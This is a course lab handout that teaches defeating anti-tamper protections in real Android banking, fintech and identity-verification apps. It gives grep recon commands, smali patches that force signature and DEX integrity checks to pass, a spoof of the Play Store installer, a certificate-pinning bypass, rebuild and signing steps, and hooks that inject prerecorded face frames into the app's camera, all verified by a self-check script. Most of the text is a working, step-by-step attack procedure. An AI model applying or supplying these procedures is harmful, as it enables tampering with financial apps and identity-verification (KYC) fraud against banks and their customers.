Lab 10: Anti-Tamper Evasion
Prerequisites: Labs 7-8 complete, Chapter 15 (Anti-Tamper Evasion) read.
Estimated time: 90 minutes.
Chapter reference: Chapter 15 — Anti-Tamper Evasion.
Target: A real-world APK with anti-tamper defenses. The course materials do not include a pre-built hardened target — this is intentional. Every target in Labs 0-9 was provided for you. This lab reflects the real world: you source the target yourself.
Every target in the previous labs was defenseless. No integrity checks, no signature verification, no awareness of tampering. You patched them, installed them, and injection worked immediately. That was training. This is the real thing.
Finding Your Target
Section titled “Finding Your Target”The standard course target (target-kyc-basic.apk) has no anti-tamper defenses and cannot be used for this lab. You need a target with real integrity checks. Two approaches:
Option A: Use any app with anti-tamper defenses (recommended). Pull a real application from an emulator or device — banking apps, fintech onboarding apps, and identity verification apps almost always have at least signature verification and often certificate pinning. This is the closest you will get to a real engagement in a training context.
# Find an installed appadb shell pm list packages | grep -iE "bank|finance|verify|kyc"
# Pull itadb shell pm path <package>adb pull <path> target-hardened.apkChoose an app you are authorized to test. Apps you install yourself on your own emulator are fair game for personal research. Do not test apps you do not own or have authorization for.
Option B: Harden the course target yourself. If you completed Lab 12 (Build a Target), you know how to build an Android app. Add the four defense patterns from Chapter 15 to the course target source code, build it, and use it as your hardened target. This option teaches you both sides: building defenses and breaking them.
What to Look For
Section titled “What to Look For”Regardless of which target you choose, the lab methodology is the same. A hardened target typically has some combination of these defenses:
| Defense | What to Grep For | Failure Behavior |
|---|---|---|
| Signature verification | getPackageInfo, GET_SIGNATURES, MessageDigest | App crashes on launch |
| DEX integrity check | classes.dex, getCrc, ZipEntry | Silent feature block or crash |
| Installer verification | getInstallingPackageName, com.android.vending | Warning dialog, then exit |
| Certificate pinning | CertificatePinner, network_security_config.xml | Network requests fail |
Your target may not have all four. It may have defenses not listed here (root detection, emulator detection, Frida detection). That is fine — the methodology adapts. Use the recon patterns from Chapter 15 to find whatever defenses exist, then neutralize each one.
If you try to run the patch-tool against a hardened target and install the result without evasion work, the app will crash or malfunction at whatever defense fires first. You must identify and defeat each one in order.
The Four Defense Layers
Section titled “The Four Defense Layers”| Layer | Defense | What It Checks | Failure Behavior |
|---|---|---|---|
| 1 | APK signature verification | SHA-256 hash of signing certificate | App crashes on launch |
| 2 | DEX integrity check | CRC of classes.dex | Silent feature block |
| 3 | Installer verification | Was it installed from Google Play? | Warning dialog, then exit |
| 4 | Certificate pinning | OkHttp CertificatePinner on API calls | Network requests fail |
Your patched APK triggers all four: it has a different signature (you re-signed it), different DEX content (1,134 injected classes), a sideload install source (adb install), and no valid pins for the modified certificate chain.
Before you start: This lab requires comfort with smali control flow —
if-eqz,if-nez,goto,return-void, andconst/4. Review the “Defense Neutralization Patterns” section in Chapter 15 before starting.
Phase 1: Decode and Recon
Section titled “Phase 1: Decode and Recon”Decode the APK
Section titled “Decode the APK”apktool d target-hardened.apk -o decoded-hardened/Systematic Defense Scan
Section titled “Systematic Defense Scan”Run each grep pattern and record what you find. Do not skip any — a missed defense will crash the app later and you will waste time debugging.
Signature verification:
grep -rn "getPackageInfo\|GET_SIGNATURES\|Signature;->toByteArray\|MessageDigest" \ decoded-hardened/smali*/Look for a method that:
- Calls
getPackageInfo()withGET_SIGNATURESflag - Extracts the signature bytes with
toByteArray() - Computes a hash with
MessageDigest.getInstance("SHA-256") - Compares the hash against a hardcoded string
- Branches to a crash or exit if they do not match
DEX integrity:
grep -rn "classes\.dex\|getCrc\|ZipEntry\|ZipFile" decoded-hardened/smali*/Look for a method that:
- Opens the APK as a
ZipFile - Gets the
ZipEntryforclasses.dex - Calls
getCrc()to read the CRC-32 - Compares against a hardcoded value
Installer verification:
grep -rn "getInstallingPackageName\|getInstallSourceInfo\|com\.android\.vending" \ decoded-hardened/smali*/Look for a method that:
- Calls
getInstallingPackageName()orgetInstallSourceInfo() - Compares the result against
com.android.vending(Google Play) - Branches to a warning or exit if it does not match
Certificate pinning:
grep -rn "CertificatePinner\|certificatePinner\|\.check(" decoded-hardened/smali*/ls decoded-hardened/res/xml/network_security_config.xml 2>/dev/nullLook for CertificatePinner.Builder usage and .check() calls. Also check for a network_security_config.xml that restricts trusted CAs.
Document Each Defense
Section titled “Document Each Defense”For each check you found, record:
| Field | Value |
|---|---|
| Defense type | (signature / DEX / installer / pinning) |
| File path | Full path to the smali file |
| Method name | The method containing the check |
| Branch instruction | The if-eqz / if-nez / goto that decides pass/fail |
| Failure behavior | What happens on failure (crash, dialog, silent block) |
| Neutralization plan | Which technique you will use |
Phase 2: Analyze the Check Logic
Section titled “Phase 2: Analyze the Check Logic”Before you neutralize anything, read the smali carefully. Understanding the control flow prevents you from accidentally breaking the app.
Reading a Signature Check
Section titled “Reading a Signature Check”A typical signature verification method looks like this in smali:
.method private checkSignature()Z .locals 6
# Get package info with signatures invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()... move-result-object v0 const-string v1, "com.target.package" const/16 v2, 0x40 # GET_SIGNATURES = 64 invoke-virtual {v0, v1, v2}, ...getPackageInfo(...)... move-result-object v0
# Extract signature bytes and compute SHA-256 ... invoke-virtual {v3}, Ljava/security/MessageDigest;->digest(...)[B move-result-object v3
# Compare against expected hash const-string v4, "AB:CD:EF:12:34:..." # <-- hardcoded expected hash invoke-virtual {v3, v4}, Ljava/lang/String;->equals(...)Z move-result v5
# Branch on result if-eqz v5, :fail # if hash does NOT match, goto fail const/4 v0, 0x1 return v0 # return true (signature valid)
:fail const/4 v0, 0x0 return v0 # return false (signature invalid).end methodThe key observation: the method returns a boolean. The caller uses this boolean to decide whether to continue or crash. You have two neutralization options.
Reading a DEX CRC Check
Section titled “Reading a DEX CRC Check”The DEX check typically reads the APK as a zip, extracts the classes.dex entry, and compares CRC-32 values. The branch pattern is similar: compute, compare, branch.
Reading an Installer Check
Section titled “Reading an Installer Check”The installer check calls getInstallingPackageName(), which returns null for sideloaded apps or com.android.vending for Play Store installs. The comparison is a string match.
Phase 3: Neutralize Each Defense
Section titled “Phase 3: Neutralize Each Defense”Apply the appropriate technique to each defense. Work through them one at a time — neutralize, rebuild, test, confirm.
Defense 1: Signature Verification
Section titled “Defense 1: Signature Verification”Technique: Force the method to return true.
Find the checkSignature() method (or whatever it is named). Replace the entire body with:
.method private checkSignature()Z .locals 1 const/4 v0, 0x1 return v0.end methodThis forces the method to always return true, regardless of the actual signature hash.
Alternative technique: Replace the hardcoded hash with your debug keystore’s hash. Compute it with:
keytool -list -v -keystore ~/.android/debug.keystore -storepass android \ | grep "SHA256:" | sed 's/.*SHA256: //'Then find the const-string with the expected hash in the smali and replace its value.
Defense 2: DEX Integrity Check
Section titled “Defense 2: DEX Integrity Check”Technique: Force the CRC check to pass.
Same approach — find the method that performs the CRC comparison and force it to return true. Or, find the branch instruction that triggers on CRC mismatch and nop it:
# Original:if-nez v5, :integrity_fail
# Neutralized (nop the branch by replacing with a goto to the next instruction):nopAlternatively, replace the hardcoded CRC value with the CRC of your modified classes.dex. But this is fragile — the CRC changes every time you re-patch.
Defense 3: Installer Verification
Section titled “Defense 3: Installer Verification”Technique: Force the installer name.
Find the call to getInstallingPackageName() and the move-result-object that captures the return value. After the capture, overwrite the register with the expected value:
invoke-virtual {v0, v1}, ...getInstallingPackageName(...)...move-result-object v2# Overwrite with expected value:const-string v2, "com.android.vending"Now the comparison against com.android.vending always succeeds, regardless of how the app was installed.
Defense 4: Certificate Pinning
Section titled “Defense 4: Certificate Pinning”Option A: Patch network_security_config.xml.
If the app uses Android’s network security config, edit decoded-hardened/res/xml/network_security_config.xml:
<?xml version="1.0" encoding="utf-8"?><network-security-config> <base-config cleartextTrafficPermitted="true"> <trust-anchors> <certificates src="system" /> <certificates src="user" /> </trust-anchors> </base-config></network-security-config>This trusts both system and user-installed certificates.
Option B: Nop the CertificatePinner.check() calls.
Find every invoke-virtual that calls CertificatePinner.check() and replace it with nop instructions (or comment it out by removing the line and adjusting the method). The pinner never fires, so pins are never enforced.
Phase 4: Rebuild and Verify Evasion
Section titled “Phase 4: Rebuild and Verify Evasion”Rebuild the evasion-patched APK:
apktool b decoded-hardened/ -o evasion-patched.apkzipalign -v 4 evasion-patched.apk aligned-hardened.apkapksigner sign --ks ~/.android/debug.keystore --ks-pass pass:android aligned-hardened.apkInstall and test that the defenses are neutralized:
adb install -r aligned-hardened.apkadb shell am start -n <package>/<launcher_activity>The app should launch without crashing, without security warnings, without blocking functionality.
If it still fails, check logcat for the specific check that is triggering:
adb logcat | grep -iE "signature|integrity|tamper|security|mismatch|invalid|certificate"The error message tells you which defense is still active. Go back and fix that specific neutralization.
Phase 5: Apply Injection Hooks
Section titled “Phase 5: Apply Injection Hooks”Now run the patch-tool against your evasion-patched APK:
java -jar patch-tool.jar evasion-patched.apk \ --out final-patched.apk --work-dir ./work-hardenedThe patch-tool re-decodes, adds the injection hooks, and rebuilds. Your evasion patches survive because the patch-tool adds to the smali — it does not revert your changes.
Verify evasion survived the re-patching:
# Check that your forced-return-true patches are still presentgrep -rn "const/4 v0, 0x1" work-hardened/smali*/ | grep -i "security\|signature\|integrity" | head -5Phase 6: Deploy and Verify Full Stack
Section titled “Phase 6: Deploy and Verify Full Stack”adb uninstall <package> 2>/dev/nulladb install -r final-patched.apk
adb shell pm grant <package> android.permission.CAMERAadb shell pm grant <package> android.permission.ACCESS_FINE_LOCATIONadb shell pm grant <package> android.permission.READ_EXTERNAL_STORAGEadb shell pm grant <package> android.permission.WRITE_EXTERNAL_STORAGEadb shell appops set <package> MANAGE_EXTERNAL_STORAGE allow
# Push payloadsadb shell mkdir -p /sdcard/poc_frames/ /sdcard/poc_location/ /sdcard/poc_sensor/adb push /tmp/face_frames/ /sdcard/poc_frames/
# Launchadb shell am start -n <package>/<launcher_activity>
# Verify injectionadb logcat -s FrameInterceptorThe app should launch without integrity failures AND show frame injection active. Both the evasion patches and the injection hooks are operating simultaneously.
Deliverables
Section titled “Deliverables”| Artifact | Description |
|---|---|
| Defense recon report | Every integrity check found: file path, method, check type, failure behavior |
| Neutralization log | For each defense: technique used, specific smali changes made |
| Screenshot | App running with injection active, no security warnings |
| Logcat output | FrameInterceptor showing frame delivery on the hardened target |
Success Criteria
Section titled “Success Criteria”- All defenses identified with file paths and method names
- Every defense neutralized without breaking app functionality
- App launches without integrity failures after evasion patching
- Evasion patches survive the patch-tool re-patching
- Injection hooks apply successfully on top of evasion patches
- Frame injection is active (logcat shows
FRAME_DELIVERED) - No security warnings or tamper alerts visible in the UI
Self-Check Script
Section titled “Self-Check Script”#!/usr/bin/env bashecho "=========================================="echo " LAB 10: ANTI-TAMPER EVASION SELF-CHECK"echo "=========================================="PASS=0; FAIL=0
# Phase 1: Defense recon completenessecho "--- Defense Recon ---"if [ -d decoded-hardened/ ]; then SIG=$(grep -rl "GET_SIGNATURES\|getPackageInfo.*Signature" decoded-hardened/smali*/ 2>/dev/null | wc -l | tr -d ' ') DEX=$(grep -rl "classes\.dex\|getCrc" decoded-hardened/smali*/ 2>/dev/null | wc -l | tr -d ' ') INST=$(grep -rl "getInstallingPackageName\|com\.android\.vending" decoded-hardened/smali*/ 2>/dev/null | wc -l | tr -d ' ') PIN=$(grep -rl "CertificatePinner" decoded-hardened/smali*/ 2>/dev/null | wc -l | tr -d ' ')
echo " Signature check files: $SIG" echo " DEX integrity files: $DEX" echo " Installer check files: $INST" echo " Cert pinning files: $PIN"
[ "$SIG" -gt 0 ] && echo " [PASS] Signature verification identified" && ((PASS++)) || { echo " [FAIL] Signature verification not found"; ((FAIL++)); } [ "$DEX" -gt 0 ] && echo " [PASS] DEX integrity check identified" && ((PASS++)) || { echo " [FAIL] DEX integrity check not found"; ((FAIL++)); } [ "$INST" -gt 0 ] && echo " [PASS] Installer verification identified" && ((PASS++)) || { echo " [FAIL] Installer verification not found"; ((FAIL++)); } [ "$PIN" -gt 0 ] && echo " [PASS] Certificate pinning identified" && ((PASS++)) || { echo " [FAIL] Certificate pinning not found"; ((FAIL++)); }else echo " [SKIP] decoded-hardened/ not found"fi
# Phase 4: Evasion verificationecho ""echo "--- Evasion Patches ---"if [ -f evasion-patched.apk ]; then echo " [PASS] Evasion-patched APK built" ((PASS++))else echo " [FAIL] evasion-patched.apk not found" ((FAIL++))fi
# Phase 5: Injection on hardened targetecho ""echo "--- Injection on Hardened Target ---"if [ -f final-patched.apk ]; then echo " [PASS] Final patched APK built (evasion + injection)" ((PASS++))else echo " [FAIL] final-patched.apk not found" ((FAIL++))fi
FRAMES=$(adb logcat -d -s FrameInterceptor 2>/dev/null | grep -c "FRAME_DELIVERED")echo " Frames delivered: $FRAMES"if [ "$FRAMES" -gt 0 ]; then echo " [PASS] Frame injection active on hardened target" ((PASS++))else echo " [FAIL] No frame deliveries" ((FAIL++))fi
# Check for security warnings/crashesCRASHES=$(adb logcat -d 2>/dev/null | grep -ci "SecurityException\|integrity\|tamper\|signature.*mismatch")echo " Security-related log lines: $CRASHES"if [ "$CRASHES" -eq 0 ]; then echo " [PASS] No integrity failures detected" ((PASS++))else echo " [WARN] Possible integrity check triggered -- review logcat"fi
echo ""echo " Results: $PASS passed, $FAIL failed"echo ""echo " Manual checks:"echo " 1. App launches without security warnings or crash dialogs"echo " 2. Frame injection overlay shows ACTIVE"echo " 3. Defense recon report documents all defenses found, with file paths"echo " 4. Neutralization log shows specific smali changes for each defense"echo "=========================================="[ "$FAIL" -eq 0 ] && echo " Lab 10 COMPLETE." || echo " Lab 10 INCOMPLETE -- review failed checks."Bonus Phase: Native Defense Recon (Dry Run)
Section titled “Bonus Phase: Native Defense Recon (Dry Run)”Most real-world targets do not include native (JNI) integrity checks — but some do, especially apps that integrate commercial anti-tamper SDKs. Practice the recon patterns from Chapter 15’s “Native Code (JNI) Defenses” section against your target so you are ready when you encounter native defenses.
Step 1: Scan for Native Methods
Section titled “Step 1: Scan for Native Methods”grep -rn "\.method.*native" decoded-hardened/smali*/Step 2: List Native Libraries
Section titled “Step 2: List Native Libraries”find decoded-hardened/lib/ -name "*.so" -exec ls -lhS {} \;Step 3: Search for Defense Strings in .so Files
Section titled “Step 3: Search for Defense Strings in .so Files”for so in decoded-hardened/lib/arm64-v8a/*.so; do echo "=== $(basename $so) ===" strings "$so" | grep -iE "integrity|signature|verify|tamper|root|debug" | head -5doneStep 4: Document Your Findings
Section titled “Step 4: Document Your Findings”Record in your defense recon report:
- How many native methods were found?
- Do any have names suggesting integrity checks?
- Do any
.sofiles contain defense-related strings? - If a native integrity check existed, which approach from Chapter 15 would you use? (Cut at the JNI bridge, patch the
.so, or delete the library?)
If your target has no native integrity checks, that confirms all defenses are in the Java layer and Techniques 1 through 5 from Chapter 15 (nop, force return, patch hash, nop SDK init, cert pinning bypass) are sufficient. If you do find native defenses, apply the JNI bridge techniques from Chapter 15 — cut at the bridge first, resort to binary patching only if needed.
What You Just Demonstrated
Section titled “What You Just Demonstrated”This was the first lab where the target fought back — and the first lab where you sourced your own target. That is not an accident. In the real world, nobody hands you a pre-decoded APK with a map of its defenses. You pull it off a device, crack it open, find what’s guarding it, and dismantle the guards one by one.
The defenses you encountered — whether two or four or six — all share the same fundamental weakness: they run on a device you control, in bytecode you can read. Signature verification, DEX integrity, installer checks, certificate pinning, root detection — the specifics vary, but the methodology is always the same: recon the defense, understand its logic, neutralize it at the bytecode level.
You neutralized real defenses in a real app with the same techniques from Chapter 15. The specifics varied (nop a branch, force a return value, patch a hash, modify an XML config), but the pattern held. This is the technique that takes the toolkit from “works against cooperative targets” to “works against production apps with real security investments.”